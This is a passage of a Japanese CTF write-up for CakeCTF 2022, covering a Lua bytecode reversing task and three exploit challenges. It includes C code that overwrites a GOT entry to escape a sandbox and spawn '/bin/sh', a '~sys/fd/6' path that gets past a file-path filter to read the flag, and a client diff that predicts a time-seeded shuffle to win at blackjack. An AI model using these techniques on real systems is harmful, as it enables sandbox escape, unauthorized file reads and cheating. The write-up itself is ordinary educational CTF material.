   68 [-]: MOVE      R12 R8       ; R12 := R8
   69 [-]: ADD       R13 R8 K32   ; R13 := R8 + 1
   70 [-]: CALL      R10 4 0      ; R10 to top := R10(R11 to R13)
   71 [-]: CALL      R9 0 2       ; R9 := R9(R10 to top)
   72 [-]: SETTABLE  R4 R8 R9     ; R4[R8] := R9
   73 [-]: FORLOOP   R5 -9        ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -9 , goto 65 end
   74 [-]: LOADK     R5 K32       ; R5 := 1
   75 [-]: LEN       R6 R3        ; R6 := #R3
   76 [-]: LOADK     R7 K32       ; R7 := 1
   77 [-]: FORPREP   R5 9         ; R5 -= R7; pc += 9 (goto 87)
   78 [-]: ADD       R9 R8 K32    ; R9 := R8 + 1
   79 [-]: LEN       R10 R3       ; R10 := #R3
   80 [-]: LOADK     R11 K32      ; R11 := 1
   81 [-]: FORPREP   R9 4         ; R9 -= R11; pc += 4 (goto 86)
   82 [-]: GETTABLE  R13 R3 R8    ; R13 := R3[R8]
   83 [-]: GETTABLE  R14 R3 R12   ; R14 := R3[R12]
   84 [-]: SETTABLE  R3 R8 R14    ; R3[R8] := R14
   85 [-]: SETTABLE  R3 R12 R13   ; R3[R12] := R13
   86 [-]: FORLOOP   R9 -5        ; R9 += R11; if R9 <= R10 then R12 := R9; PC += -5 , goto 82 end
   87 [-]: FORLOOP   R5 -10       ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -10 , goto 78 end
   88 [-]: LOADK     R5 K32       ; R5 := 1
   89 [-]: LEN       R6 R3        ; R6 := #R3
   90 [-]: LOADK     R7 K32       ; R7 := 1
   91 [-]: FORPREP   R5 14        ; R5 -= R7; pc += 14 (goto 106)
   92 [-]: GETTABLE  R9 R3 R8     ; R9 := R3[R8]
   93 [-]: SUB       R10 R8 K32   ; R10 := R8 - 1
   94 [-]: LEN       R11 R4       ; R11 := #R4
   95 [-]: MOD       R10 R10 R11  ; R10 := R10 % R11
   96 [-]: ADD       R10 K32 R10  ; R10 := 1 + R10
   97 [-]: GETTABLE  R10 R4 R10   ; R10 := R4[R10]
   98 [-]: BXOR      R9 R9 R10    ; R9 := R9 ~ R10
   99 [-]: SETTABLE  R3 R8 R9     ; R3[R8] := R9
  100 [-]: GETTABLE  R9 R3 R8     ; R9 := R3[R8]
  101 [-]: GETTABLE  R10 R2 R8    ; R10 := R2[R8]
  102 [-]: EQ        1 R9 R10     ; if R9 ~= R10 then goto 104 else goto 106
  103 [-]: JMP       R0 2         ; PC += 2 (goto 106)
  104 [-]: LOADBOOL  R9 0 0       ; R9 := false
  105 [-]: RETURN    R9 2         ; return R9
  106 [-]: FORLOOP   R5 -15       ; R5 += R7; if R5 <= R6 then R8 := R5; PC += -15 , goto 92 end
  107 [-]: LOADBOOL  R5 1 0       ; R5 := true
  108 [-]: RETURN    R5 2         ; return R5
  109 [-]: RETURN    R0 1         ; return 

右のほうに書いてくれているコメントがレジスタのやりとりを書いていそうでわかりやすい。追ってみると何かしらの文字列と入力文字列 (フラグ) の xor をとった結果が、最初のほうで代入されているバイト列と一致するかを確認しています。 xor をとるなんかしらの文字列がどこで定義されているのか不明だったのですが、フラグの先頭が CakeCTF{ となることを利用して求めました。

from pwn import xor

enc = bytes([62, 85, 25, 84, 47, 56, 118, 71, 109, 0, 90, 71, 115, 9, 30, 58, 32, 101, 40, 20, 66, 111, 3, 92, 119, 22, 90, 11, 119, 35, 61, 102, 102, 115, 87, 89, 34, 34])
xor(enc, b"aC2202 FTCek")

b"aC2202 FTCek"...?ディスアセンブル結果を誤読しているかもしれない…

CakeCTF{w4n1w4n1_p4n1c_uh0uh0_g0ll1r4}

nimrev

246 solves

手元のメモにはフラグしか残されていない…かなり序盤に解いたので記憶にも残っていない… たくさん解かれているので strings でフラグ表示する系か、 gdb で実行したら文字列比較のところでフラグが見えちゃう系の問題だった気がします。

CakeCTF{s0m3t1m3s_n0t_C}

misc

C-Sandbox

20 solves

system などの許可されていない関数 (許可されているのは puts, printf, scanf, exit のみ) を使おうとすると、コンパイルした結果、その関数の前にエラーメッセージを put する処理と exit 処理が付け加えられてしまいます。 しかし逆にいうと exit 処理を無視することさえできれば system とかも呼べてしまうわけです。幸い docker の環境が与えられているのでコンパイルした結果は完全に一緒のはずです。なのでその環境でコンパイルして各シンボルがどこに配置されるか確認し、 その後 GOT を直接代入して exit を呼ばれないようにすれば OK です。 以下は実際に使ったコードです。不要な処理があまりにも多い。

#include <stdio.h>
#include <stdlib.h>

void nothing(int n) {}

int main() {
  int a;
  scanf("%d", &a);
  printf("%d\n", a);
  printf("%016lx", &printf);
  unsigned long int **address;
  *address = 0x404038L;
  **address = 0x00401040;
  system("/bin/sh");
  exit(0);
  return 0;
}

CakeCTF{briI1ng_yoO0ur_oO0wn_gaA4dgeE3t!}

readme 2022

52 solves

server.py
import os

try:
    f = open("/flag.txt", "r")
except:
    print("[-] Flag not found. If this message shows up")
    print("    on the remote server, please report to amdin.")

if __name__ == '__main__':
    filepath = input("filepath: ")
    if filepath.startswith("/"):
        exit("[-] Filepath must not start with '/'")
    elif '..' in filepath:
        exit("[-] Filepath must not contain '..'")

    filepath = os.path.expanduser(filepath)
    try:
        print(open(filepath, "r").read())
    except:
        exit("[-] Could not open file")

今回の CTF では一番好きな問題かもしれない。 /flag.txt を読みたいのですが、 path の先頭は / にできなかったり ../ がダメだったりと、普通にやったら path を指定できなさそうです。 怪しい部分が os.path.expanduser(filepath) ぐらいなので、この関数の仕様を調べます。 https://docs.python.org/ja/3/library/os.path.html#os.path.expanduser を見ると、 ~~user を絶対パスに置き換えてくれるようです。 ~user/etc/passwd を参照しているとのこと。 docker 環境を構築して /etc/passwd を確認すると、 sys というユーザーが使えそうでした。 ~sys//dev/ に変換されます。 /dev/ 以下には /dev/fd があります。 ここで問題のソースコードを読み返してみると、 /flag.txt を開いていることに気づきます。どっかの fd/flag.txt のものになっているはず。6番を見たら (つまり ~sys/fd/6) フラグが手に入りました。

cheat

matsushima3

22 solves

ブラックジャックに勝ちまくればフラグが手に入ります。こんなの山札がどうなってるかわからんと厳しいだろ…と思い、シャッフルがどうなされているか確認しました。

    # Shuffle cards
    deck = [(i // 13, i % 13) for i in range(4*13)]
    random.seed(int(time.time()) ^ session['user_id'])
    random.shuffle(deck)
    session['deck'] = deck

というわけで、 seed の特定が容易です。シードが特定できれば山札も特定できるので、あとは負けないように hit, stand を選ぶだけです。運が悪いとどうしても負けてしまうパターンがあるので、本当は開始時刻や user_id も厳選し、長い目で勝ち続けられるかをシミュレーションすべきっぽい?実装が面倒だったのでそういうことはしませんでした。サーバーにちょっと負荷がかかる実装で申し訳ない…

6a7
> import time
61c62,64
<         self.money = self.connection.request('user/new')['money']
---
>         response = self.connection.request('user/new')
>         self.user_id = response["user_id"]
>         self.money = response['money']
76,80c79,81
<             if pyxel.btnp(pyxel.KEY_Z): # Player chose hit
<                 pyxel.play(3, [0])
<                 self.notify_action(GameAction.HIT)
<
<             elif pyxel.btnp(pyxel.KEY_X): # Player chose stand
---
>             # TODO
>             if self.player_score + self.deck[-1][1] > 21:
>                 self.deck.pop()
82a84,97
>             else:
>                 self.deck.pop()
>                 pyxel.play(3, [0])
>                 current_num_dealer_cards = self.num_dealer_cards
>                 self.notify_action(GameAction.HIT)
>                 for _ in range(self.num_dealer_cards - current_num_dealer_cards):
>                     self.deck.pop()
>             # if pyxel.btnp(pyxel.KEY_Z): # Player chose hit
>             #     pyxel.play(3, [0])
>             #     self.notify_action(GameAction.HIT)
>
>             # elif pyxel.btnp(pyxel.KEY_X): # Player chose stand
>             #     pyxel.play(3, [0])
>             #     self.notify_action(GameAction.STAND)
85,89c100,108
<             if pyxel.btnp(pyxel.KEY_Z):
<                 pyxel.play(3, [0])
<                 self.init_game()
<                 self.state = GameState.GAME
<                 self.frame = 0
---
>             # if pyxel.btnp(pyxel.KEY_Z):
>             #     pyxel.play(3, [0])
>             #     self.init_game()
>             #     self.state = GameState.GAME
>             #     self.frame = 0
>             pyxel.play(3, [0])
>             self.init_game()
>             self.state = GameState.GAME
>             self.frame = 0
200a220,221
>         now = int(time.time())
>         print(response)
203a225,238
>         for i in range(10):
>             seed = (now - i) ^ self.user_id
>             deck = [(i // 13, i % 13) for i in range(4*13)]
>             random.seed(seed)
>             random.shuffle(deck)
>             player_hand = []
>             dealer_hand = []
>             for i in range(2):
>                 player_hand.append(list(deck.pop()))
>                 dealer_hand.append(list(deck.pop()))
>             if player_hand == self.player_hand:
>                 print(f"{seed = }")
>                 self.deck = deck
>                 break

CakeCTF{INFAMOUS_LOGIC_BUG}